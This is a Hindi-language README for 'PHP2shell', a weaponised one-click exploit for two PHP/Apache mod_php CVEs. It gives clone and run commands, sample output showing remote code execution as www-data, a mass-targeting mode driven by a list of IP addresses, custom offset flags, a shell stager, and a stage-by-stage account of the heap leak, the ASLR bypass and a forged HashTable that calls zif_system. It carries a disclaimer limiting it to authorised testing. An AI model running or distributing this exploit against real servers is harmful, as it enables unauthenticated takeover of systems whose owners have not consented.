
CVE-2026-109618 और CVE-2026-109619 के लिए संवेदनशील PHP + Apache mod_php (prefork) लक्ष्यों के विरुद्ध एक-क्लिक एक्सप्लॉइट PoC।
CVE-2026-109618 और CVE-2026-109619 के लिए वन-क्लिक हथियारीकृत PoC
कमजोर PHP + Apache mod_php (prefork) परिनियोजनों को लक्षित करता है।
⚠️ चेतावनी: यह टूल केवल अधिकृत सुरक्षा परीक्षण, CTF और शैक्षिक अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग उन अधोसंरचनाओं के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है। दुरुपयोग के लिए लेखक कोई दायित्व स्वीकार नहीं करता।
PHP2shell एक बहु-चरणीय मेमोरी करप्शन एक्सप्लॉइट है जो Apache mod_php prefork वातावरणों के भीतर PHP कोर को लक्षित करता है।
आउट-ऑफ-मेमोरी (OOM) हैंडलिंग और अनुरोध-स्वामित्व वाली स्थिति का दुरुपयोग करके जो स्थायी वर्करों में बनी रहती है, यह एक्सप्लॉइट ASLR (Address Space Layout Randomization) को बायपास करता है, आंतरिक हीप और libphp.so पॉइंटर लीक करता है, और अप्रमाणित रिमोट कोड एक्ज़ीक्यूशन (RCE) प्राप्त करने के लिए PHP संरचनाओं को नकली रूप में गढ़ता है।
bookworm (डिफ़ॉल्ट): Debian Bookworm पर आधिकारिक php:8.4.26-apache Docker इमेज।lab: कस्टम लैब बिल्ड (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12)।सेकंडों में तैयार हो जाएँ।
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
167-बाइट कैरियर आकार के कारण, कमांड की लंबाई सख्ती से 14 बाइट्स तक सीमित है। लंबे पेलोड निष्पादित करने के लिए, एक छोटा स्टेजर उपयोग करें:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
एक targets.txt फ़ाइल बनाएँ:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
लक्ष्यों के विरुद्ध एक्सप्लॉइट को क्रमिक रूप से चलाएँ:
python3 php2shell.py -t targets.txt
यदि आपने ऑफ़सेट मैन्युअल रूप से निकाले हैं या किसी कस्टम बिल्ड को लक्षित कर रहे हैं, तो उन्हें सीधे पास करें:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
किसी स्थानीय फ़ाइल की जाँच करने के बजाय, HTTP के माध्यम से एक फ़ाइल प्राप्त करके exploit को RCE सत्यापित करने के लिए बाध्य करें:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| आर्ग्युमेंट | विवरण |
|---|---|
-u, --url | लक्ष्य PHP पेज URL |
-t, --target-file | वह फ़ाइल जिसमें प्रति पंक्ति एक लक्ष्य URL हो |
-c, --cmd | निष्पादित करने का कमांड (अधिकतम 14 बाइट) |
--proof-file | जाँचने के लिए स्थानीय प्रूफ़ फ़ाइल (डिफ़ॉल्ट: out/p1) |
--fetch | शोषण को दूरस्थ रूप से सत्यापित करने के लिए GET पथ |
--profile | लक्ष्य प्रोफ़ाइल: bookworm (डिफ़ॉल्ट) या lab |
--zif-offset | libphp.so में zif_system का ऑफ़सेट |
--dtor-offset | libphp.so में ZVAL_PTR_DTOR का ऑफ़सेट |
--htdata-offset | 167-बाइट स्ट्रिंग का चंक-सापेक्ष ऑफ़सेट |
--retries | प्रति लीक चरण प्रयास (डिफ़ॉल्ट: 3) |
--no-color | ANSI रंग अक्षम करें |
| चरण 0 | वर्कर रोटेशन: Apache prefork को वर्तमान वर्कर को निरस्त करने और एक स्वच्छ हीप के साथ नया चाइल्ड फ़ोर्क करने के लिए बाध्य करने हेतु एक अत्यधिक बड़ा अनुरोध भेजता है। |
| चरण 1 | हीप लीक: OOM भ्रष्टाचार को ट्रिगर करता है जिससे एक मॉड्यूल-ग्लोबल पॉइंटर मुक्त स्मृति को संदर्भित करता है। स्प्रे किए गए फ़ॉर्म फ़ील्ड एक नकली zend_string के साथ स्लॉट को पुनः प्राप्त करते हैं, जिससे Set-Cookie के माध्यम से हीप पॉइंटर लीक होते हैं। |
| चरण 2 | ASLR बायपास: libphp.so से एक zval_ptr_dtor पॉइंटर लीक करता है। ज्ञात DTOR_OFFSET घटाने से लाइब्रेरी का बेस एड्रेस प्रकट होता है। |
| चरण 3 | RCE: एक नकली HashTable बनाता है और pDestructor को libphp_base + ZIF_OFFSET पर सेट करता है। PHP की क्लीनअप रूटीन आपके कमांड के साथ zif_system को कॉल करती है। |
MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त। विवरण के लिए LICENSE देखें।
0xgh057r3c0n द्वारा 🔥 के साथ निर्मित